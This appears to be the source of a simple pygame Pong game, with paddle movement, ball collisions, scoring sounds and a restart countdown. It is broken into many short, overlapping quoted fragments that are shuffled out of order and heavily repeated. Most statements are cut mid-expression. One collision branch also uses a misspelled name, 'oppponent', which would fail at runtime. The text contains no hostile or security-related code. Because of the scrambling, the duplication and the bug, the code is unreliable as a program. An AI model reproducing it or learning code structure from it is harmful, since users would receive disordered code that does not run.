"0: player.top = 0 if player.bottom >= screen_height: player.bottom = screen_height def opponent_animation():",
"pygame, random, sys # this is based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4",
"elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10:",
"- opponent.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top",
"opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140) # color variable light_grey =",
"= (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time - score_time < 700: number_three",
"= (200,200,200) ball_speed = [7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0",
"light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20)) elif 700 < current_time -",
"of the players player.y += player_speed # checks for boundaries if player.top <=",
"sys exit closes the entire program sys.exit() if event.type == pygame.KEYDOWN: if event.key",
"+ 20)) elif 1400 < current_time - score_time < 2100: number_one = game_font.render(\"1\",",
"= pygame.time.Clock() # main window screen_width = 1280 screen_height = 960 screen =",
"opponent.bottom >= screen_height: opponent.bottom = screen_height def ball_restart(): global ball_speed, score_time ball.center =",
"<color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws",
"ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom) < 10 and",
"title pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2 - 15,",
"current_time - score_time < 2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 -",
"opponent.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top -",
"10, screen_height/2 + 20)) elif 700 < current_time - score_time < 1400: number_two",
"the display its title pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2 - 15,",
"- score_time < 1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10,",
"# game rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30, 30)",
"screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20)) if current_time - score_time < 2100:",
"game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20)) if current_time -",
"# color variable light_grey = (200,200,200) ball_speed = [7 * random.choice((1,-1)), 7 *",
"in the loop pygame.display.flip() # this limits how fast the loop runs, 60",
"color variable light_grey = (200,200,200) ball_speed = [7 * random.choice((1,-1)), 7 * random.choice((1,-1))]",
"score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for event in pygame.event.get(): #",
"the direction upon collision if ball.top <= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound)",
"= screen_height def ball_restart(): global ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time =",
"ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time - score_time",
"score_time = None # score variables player_score = 0 opponent_score = 0 #",
"if event.type == pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -= 7 if event.key",
"ball_speed[1] ball_speed = list(ball_speed) # this changes the direction upon collision if ball.top",
"pygame.K_UP: player_speed -= 7 if event.type == pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed",
"ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if ball.left <= 0:",
"-1 elif abs(ball.bottom - opponent.top) < 10 and ball_speed[1] > 0: ball_speed[1] *=",
"# text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time = True",
"512) pygame.init() clock = pygame.time.Clock() # main window screen_width = 1280 screen_height =",
"boundaries if opponent.top <= 0: opponent.top = 0 if opponent.bottom >= screen_height: opponent.bottom",
"# score variables player_score = 0 opponent_score = 0 # text variables game_font",
"tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock =",
"10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - player.bottom) <",
"screen_height: opponent.bottom = screen_height def ball_restart(): global ball_speed, score_time ball.center = (screen_width/2, screen_height/2)",
"if score_time: ball_restart() # draws the score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text,",
"= list(ball_speed) # this changes the direction upon collision if ball.top <= 0",
"pygame.time.Clock() # main window screen_width = 1280 screen_height = 960 screen = pygame.display.set_mode((screen_width,",
"players player.y += player_speed # checks for boundaries if player.top <= 0: player.top",
"abs(ball.left - opponent.right) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom -",
"a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time:",
"if current_time - score_time < 2100: ball_speed = [0, 0] else: ball_speed =",
"and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen, light_grey, ball) # to draw a line",
"pygame.init() clock = pygame.time.Clock() # main window screen_width = 1280 screen_height = 960",
"= game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws the picture from",
"pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for event",
"opponent.right) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - opponent.top) <",
"ball_speed[1] = ball_speed[1] * -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1",
"<= 0: opponent.top = 0 if opponent.bottom >= screen_height: opponent.bottom = screen_height def",
"# sys exit closes the entire program sys.exit() if event.type == pygame.KEYDOWN: if",
"[7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0 opponent_speed = 7 def",
"for event in pygame.event.get(): # checks if the event is quit if event.type",
"- player.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1 elif ball.colliderect(opponent)",
"player_animation(): # moving of the players player.y += player_speed # checks for boundaries",
"(screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws the score player_text = game_font.render(f\"{player_score}\",",
"main window screen_width = 1280 screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height)) #",
"ball_speed[0] * -1 elif abs(ball.bottom - opponent.top) < 10 and ball_speed[1] > 0:",
"light_grey = (200,200,200) ball_speed = [7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed =",
"current_time = pygame.time.get_ticks() if current_time - score_time < 700: number_three = game_font.render(\"3\", True,",
"ball_speed[0] * -1 elif abs(ball.bottom - player.top) < 10 and ball_speed[1] > 0:",
"random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0 opponent_speed = 7 def ball_animation(): global",
"ball.y: opponent.bottom -= opponent_speed # checks for boundaries if opponent.top <= 0: opponent.top",
"screen_height/2 - 70, 10, 140) # color variable light_grey = (200,200,200) ball_speed =",
"pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) <",
"0: ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom) < 10 and ball_speed[1] <",
"ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom) < 10 and ball_speed[1] < 0:",
"1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20))",
"current_time - score_time < 2100: ball_speed = [0, 0] else: ball_speed = (7",
"# main window screen_width = 1280 screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height))",
"10, 140) # color variable light_grey = (200,200,200) ball_speed = [7 * random.choice((1,-1)),",
"player.y += player_speed # checks for boundaries if player.top <= 0: player.top =",
"the entire program sys.exit() if event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed",
"0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws the score player_text = game_font.render(f\"{player_score}\", True,",
"event.type == pygame.QUIT: # using both of these ensures that it is closed",
"32) # Score timer score_time = True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound",
"screen_height def opponent_animation(): if opponent.top < ball.y: opponent.top += opponent_speed if opponent.bottom >",
"pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10: ball_speed[0] = ball_speed[0] * -1 elif",
"-= 7 if event.key == pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation() #",
"changes the direction upon collision if ball.top <= 0 or ball.bottom >= screen_height:",
"if player.bottom >= screen_height: player.bottom = screen_height def opponent_animation(): if opponent.top < ball.y:",
"if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks() elif ball.right",
"elif abs(ball.bottom - opponent.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1",
"10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom) <",
"== pygame.K_UP: player_speed += 7 ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0)) #",
"player_speed = 0 opponent_speed = 7 def ball_animation(): global ball_speed, player_score, opponent_score, score_time",
"event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed += 7 if event.key ==",
"if opponent.bottom > ball.y: opponent.bottom -= opponent_speed # checks for boundaries if opponent.top",
"= pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for event in",
"- score_time < 2100: ball_speed = [0, 0] else: ball_speed = (7 *",
"= pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks()",
"program sys.exit() if event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed += 7",
"closes the entire program sys.exit() if event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN:",
"ball_speed[1] < 0: ball_speed[1] *= -1 def player_animation(): # moving of the players",
"True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws the picture from everything in",
"pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140) opponent = pygame.Rect(10, screen_height/2 - 70,",
"< 1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 +",
"= pygame.display.set_mode((screen_width, screen_height)) # gives the display its title pygame.display.set_caption(\"Pong\") # game rectangles",
"7 * random.choice((1,-1))] player_speed = 0 opponent_speed = 7 def ball_animation(): global ball_speed,",
"1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right",
"0 opponent_speed = 7 def ball_animation(): global ball_speed, player_score, opponent_score, score_time # changes",
"elif 1400 < current_time - score_time < 2100: number_one = game_font.render(\"1\", True, light_grey)",
"if current_time - score_time < 700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2",
"is based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16,",
"+= player_speed # checks for boundaries if player.top <= 0: player.top = 0",
"# checks if the event is quit if event.type == pygame.QUIT: # using",
"pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score",
"game rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30, 30) player",
"*= -1 elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right)",
"+ 20)) if current_time - score_time < 2100: ball_speed = [0, 0] else:",
"and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - player.bottom) < 10",
"pygame.K_DOWN: player_speed -= 7 if event.key == pygame.K_UP: player_speed += 7 ball_animation() player_animation()",
"960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives the display its title pygame.display.set_caption(\"Pong\") #",
"ball_speed = (7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time = None # score",
"= 0 opponent_score = 0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) #",
"light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) #",
"ball.top <= 0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1",
"list(ball_speed) # this changes the direction upon collision if ball.top <= 0 or",
"opponent.top += opponent_speed if opponent.bottom > ball.y: opponent.bottom -= opponent_speed # checks for",
"(660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws",
"= game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20)) elif 700",
"screen_height: player.bottom = screen_height def opponent_animation(): if opponent.top < ball.y: opponent.top += opponent_speed",
"<filename>pygame/pong.py<gh_stars>1-10 import pygame, random, sys # this is based off of a tutorial",
">= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0]",
"pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks() if ball.colliderect(player) and ball_speed[0] > 0:",
"= 1280 screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives the display",
"True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles",
"player_score = 0 opponent_score = 0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32)",
"20, screen_height/2 - 70, 10,140) opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140)",
"its title pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2 - 15, screen_height/2 -",
"if abs(ball.left - opponent.right) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom",
"variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time = True # Sound",
"sys # this is based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts",
"0 if player.bottom >= screen_height: player.bottom = screen_height def opponent_animation(): if opponent.top <",
"screen = pygame.display.set_mode((screen_width, screen_height)) # gives the display its title pygame.display.set_caption(\"Pong\") # game",
"draws the picture from everything in the loop pygame.display.flip() # this limits how",
"7 if event.key == pygame.K_UP: player_speed -= 7 if event.type == pygame.KEYUP: if",
"- 70, 10,140) opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140) # color",
"+= opponent_speed if opponent.bottom > ball.y: opponent.bottom -= opponent_speed # checks for boundaries",
"* random.choice((1,-1))] player_speed = 0 opponent_speed = 7 def ball_animation(): global ball_speed, player_score,",
"off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2, 512)",
"this is based off of a tutorial from https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100,",
"# using both of these ensures that it is closed reliably pygame.quit() #",
"if event.type == pygame.QUIT: # using both of these ensures that it is",
"ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - opponent.top) < 10 and ball_speed[1]",
"-1 def player_animation(): # moving of the players player.y += player_speed # checks",
"- player.left) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - player.top)",
"and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left - opponent.right) < 10: ball_speed[0] =",
"7 * random.choice((1,-1))) score_time = None # score variables player_score = 0 opponent_score",
"+= ball_speed[0] ball.y += ball_speed[1] ball_speed = list(ball_speed) # this changes the direction",
"None # score variables player_score = 0 opponent_score = 0 # text variables",
"current_time - score_time < 700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 -",
"both of these ensures that it is closed reliably pygame.quit() # sys exit",
">= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound)",
"* -1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks()",
"opponent_score = 0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer",
"elif abs(ball.top - oppponent.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1",
"# to draw a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0),",
"ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left -",
"screen_height)) # gives the display its title pygame.display.set_caption(\"Pong\") # game rectangles ball =",
"<x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws the",
"7 def ball_animation(): global ball_speed, player_score, opponent_score, score_time # changes ball speed ball.x",
"abs(ball.bottom - opponent.top) < 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif",
"< current_time - score_time < 2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2",
"player.bottom = screen_height def opponent_animation(): if opponent.top < ball.y: opponent.top += opponent_speed if",
"- opponent.right) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - opponent.top)",
"timer score_time = True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while",
"<= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks() elif ball.right >= screen_width:",
"+ 20)) elif 700 < current_time - score_time < 1400: number_two = game_font.render(\"2\",",
"10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom - player.top) < 10 and",
"elif 700 < current_time - score_time < 1400: number_two = game_font.render(\"2\", True, light_grey)",
"background color screen.fill((0,0,0)) # draws the players and the ball pygame.draw.rect(screen,light_grey,player) pygame.draw.rect(screen,light_grey,opponent) pygame.draw.ellipse(screen,",
"> 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.right - player.left) < 10: ball_speed[0] = ball_speed[0] *",
"opponent_speed = 7 def ball_animation(): global ball_speed, player_score, opponent_score, score_time # changes ball",
"70, 10,140) opponent = pygame.Rect(10, screen_height/2 - 70, 10, 140) # color variable",
"* random.choice((1,-1))) score_time = None # score variables player_score = 0 opponent_score =",
"0 opponent_score = 0 # text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score",
"pygame.K_DOWN: player_speed += 7 if event.key == pygame.K_UP: player_speed -= 7 if event.type",
"def ball_animation(): global ball_speed, player_score, opponent_score, score_time # changes ball speed ball.x +=",
"< current_time - score_time < 1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2",
"ball) # to draw a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2,",
"checks for boundaries if opponent.top <= 0: opponent.top = 0 if opponent.bottom >=",
"# Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input",
"abs(ball.top - player.bottom) < 10 and ball_speed[1] < 0: ball_speed[1] *= -1 elif",
"pygame.mixer.Sound(\"./pygame/score.ogg\") while True: # handles input for event in pygame.event.get(): # checks if",
"0 or ball.bottom >= screen_height: pygame.mixer.Sound.play(pong_sound) ball_speed[1] = ball_speed[1] * -1 if ball.left",
"*= -1 elif abs(ball.top - oppponent.bottom) < 10 and ball_speed[1] < 0: ball_speed[1]",
"global ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time -",
"this changes the direction upon collision if ball.top <= 0 or ball.bottom >=",
"game_font.render(\"2\", True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20)) elif 1400 <",
"and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom) < 10",
"< 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - player.bottom)",
"score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True,",
"True, light_grey) screen.blit(number_two, (screen_width/2 - 10, screen_height/2 + 20)) elif 1400 < current_time",
"15, 30, 30) player = pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140) opponent",
"* random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0 opponent_speed = 7 def ball_animation():",
"700 < current_time - score_time < 1400: number_two = game_font.render(\"2\", True, light_grey) screen.blit(number_two,",
"opponent_animation() # background color screen.fill((0,0,0)) # draws the players and the ball pygame.draw.rect(screen,light_grey,player)",
"(screen_width/2 - 10, screen_height/2 + 20)) elif 1400 < current_time - score_time <",
"score_time = True # Sound pong_sound = pygame.mixer.Sound(\"./pygame/pong.ogg\") score_sound = pygame.mixer.Sound(\"./pygame/score.ogg\") while True:",
"ball_animation() player_animation() opponent_animation() # background color screen.fill((0,0,0)) # draws the players and the",
"*= -1 def player_animation(): # moving of the players player.y += player_speed #",
"(200,200,200) ball_speed = [7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed = 0 opponent_speed",
"entire program sys.exit() if event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed +=",
"(screen_width/2 - 10, screen_height/2 + 20)) elif 700 < current_time - score_time <",
"exit closes the entire program sys.exit() if event.type == pygame.KEYDOWN: if event.key ==",
"score_time # changes ball speed ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed =",
"screen_height/2 - 15, 30, 30) player = pygame.Rect(screen_width - 20, screen_height/2 - 70,",
"is quit if event.type == pygame.QUIT: # using both of these ensures that",
"https://www.youtube.com/watch?v=Qf3-aDXG8q4 # starts pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock = pygame.time.Clock() #",
"2100: number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20))",
"= pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30, 30) player = pygame.Rect(screen_width -",
"pygame.Rect(screen_width/2 - 15, screen_height/2 - 15, 30, 30) player = pygame.Rect(screen_width - 20,",
"True, light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470))",
"- score_time < 700: number_three = game_font.render(\"3\", True, light_grey) screen.blit(number_three, (screen_width/2 - 10,",
"score_time = pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time =",
"opponent.top = 0 if opponent.bottom >= screen_height: opponent.bottom = screen_height def ball_restart(): global",
"* -1 elif abs(ball.bottom - player.top) < 10 and ball_speed[1] > 0: ball_speed[1]",
"the loop pygame.display.flip() # this limits how fast the loop runs, 60 hz",
"draws the score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text =",
"< 0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if",
"if player.top <= 0: player.top = 0 if player.bottom >= screen_height: player.bottom =",
"< 0: ball_speed[1] *= -1 def player_animation(): # moving of the players player.y",
"0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound)",
"True, light_grey) screen.blit(number_three, (screen_width/2 - 10, screen_height/2 + 20)) elif 700 < current_time",
"pygame.display.set_mode((screen_width, screen_height)) # gives the display its title pygame.display.set_caption(\"Pong\") # game rectangles ball",
"event.type == pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -= 7 if event.key ==",
"= 7 def ball_animation(): global ball_speed, player_score, opponent_score, score_time # changes ball speed",
"+= 1 score_time = pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1",
"pygame pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock = pygame.time.Clock() # main window screen_width",
"light_grey, ball) # to draw a line <screen>, <color> <x1,y1> <x2,y2> pygame.draw.aaline(screen, light_grey,",
"= [0, 0] else: ball_speed = (7 * random.choice((1,-1)), 7 * random.choice((1,-1))) score_time",
"pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws the score player_text",
"light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20)) if current_time - score_time <",
"screen_height/2) current_time = pygame.time.get_ticks() if current_time - score_time < 700: number_three = game_font.render(\"3\",",
"screen_width = 1280 screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives the",
"opponent_score, score_time # changes ball speed ball.x += ball_speed[0] ball.y += ball_speed[1] ball_speed",
"ball_restart(): global ball_speed, score_time ball.center = (screen_width/2, screen_height/2) current_time = pygame.time.get_ticks() if current_time",
"sys.exit() if event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed += 7 if",
"ball_speed = [0, 0] else: ball_speed = (7 * random.choice((1,-1)), 7 * random.choice((1,-1)))",
"0: ball_speed[1] *= -1 elif abs(ball.top - player.bottom) < 10 and ball_speed[1] <",
"while True: # handles input for event in pygame.event.get(): # checks if the",
"if abs(ball.right - player.left) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom",
"7 if event.type == pygame.KEYUP: if event.key == pygame.K_DOWN: player_speed -= 7 if",
"variable light_grey = (200,200,200) ball_speed = [7 * random.choice((1,-1)), 7 * random.choice((1,-1))] player_speed",
"the score player_text = game_font.render(f\"{player_score}\", True, light_grey) screen.blit(player_text, (660, 470)) opponent_text = game_font.render(f\"{opponent_score}\",",
"checks if the event is quit if event.type == pygame.QUIT: # using both",
"= ball_speed[0] * -1 elif abs(ball.bottom - opponent.top) < 10 and ball_speed[1] >",
"number_one = game_font.render(\"1\", True, light_grey) screen.blit(number_one, (screen_width/2 - 10, screen_height/2 + 20)) if",
"15, screen_height/2 - 15, 30, 30) player = pygame.Rect(screen_width - 20, screen_height/2 -",
"def player_animation(): # moving of the players player.y += player_speed # checks for",
"470)) opponent_text = game_font.render(f\"{opponent_score}\", True, light_grey) screen.blit(opponent_text, (600, 470)) # .flip draws the",
"text variables game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time = True #",
"< 10 and ball_speed[1] < 0: ball_speed[1] *= -1 def player_animation(): # moving",
"screen_height/2 + 20)) if current_time - score_time < 2100: ball_speed = [0, 0]",
"pygame.mixer.pre_init(44100, -16, 2, 512) pygame.init() clock = pygame.time.Clock() # main window screen_width =",
"ball.y: opponent.top += opponent_speed if opponent.bottom > ball.y: opponent.bottom -= opponent_speed # checks",
"picture from everything in the loop pygame.display.flip() # this limits how fast the",
"# gives the display its title pygame.display.set_caption(\"Pong\") # game rectangles ball = pygame.Rect(screen_width/2",
"# checks for boundaries if player.top <= 0: player.top = 0 if player.bottom",
"0: opponent.top = 0 if opponent.bottom >= screen_height: opponent.bottom = screen_height def ball_restart():",
"ball_speed = list(ball_speed) # this changes the direction upon collision if ball.top <=",
"event in pygame.event.get(): # checks if the event is quit if event.type ==",
"= pygame.Rect(10, screen_height/2 - 70, 10, 140) # color variable light_grey = (200,200,200)",
"if opponent.top < ball.y: opponent.top += opponent_speed if opponent.bottom > ball.y: opponent.bottom -=",
"abs(ball.right - player.left) < 10: ball_speed[0] = ball_speed[0] * -1 elif abs(ball.bottom -",
"1280 screen_height = 960 screen = pygame.display.set_mode((screen_width, screen_height)) # gives the display its",
"boundaries if player.top <= 0: player.top = 0 if player.bottom >= screen_height: player.bottom",
"<x2,y2> pygame.draw.aaline(screen, light_grey, (screen_width/2, 0), (screen_width/2,screen_height)) if score_time: ball_restart() # draws the score",
"-1 if ball.left <= 0: pygame.mixer.Sound.play(score_sound) player_score += 1 score_time = pygame.time.get_ticks() elif",
"event.key == pygame.K_UP: player_speed -= 7 if event.type == pygame.KEYUP: if event.key ==",
"screen_height/2 + 20)) elif 700 < current_time - score_time < 1400: number_two =",
"< 10 and ball_speed[1] < 0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0]",
"30) player = pygame.Rect(screen_width - 20, screen_height/2 - 70, 10,140) opponent = pygame.Rect(10,",
"+= ball_speed[1] ball_speed = list(ball_speed) # this changes the direction upon collision if",
"elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks() if ball.colliderect(player)",
"0: ball_speed[1] *= -1 elif ball.colliderect(opponent) and ball_speed[0] < 0: pygame.mixer.Sound.play(pong_sound) if abs(ball.left",
"if event.type == pygame.KEYDOWN: if event.key == pygame.K_DOWN: player_speed += 7 if event.key",
"pygame.time.get_ticks() elif ball.right >= screen_width: pygame.mixer.Sound.play(score_sound) opponent_score += 1 score_time = pygame.time.get_ticks() if",
"< 10 and ball_speed[1] > 0: ball_speed[1] *= -1 elif abs(ball.top - oppponent.bottom)",
"loop pygame.display.flip() # this limits how fast the loop runs, 60 hz clock.tick(60)",
"game_font = pygame.font.Font(\"freesansbold.ttf\", 32) # Score timer score_time = True # Sound pong_sound",
"opponent.top < ball.y: opponent.top += opponent_speed if opponent.bottom > ball.y: opponent.bottom -= opponent_speed",
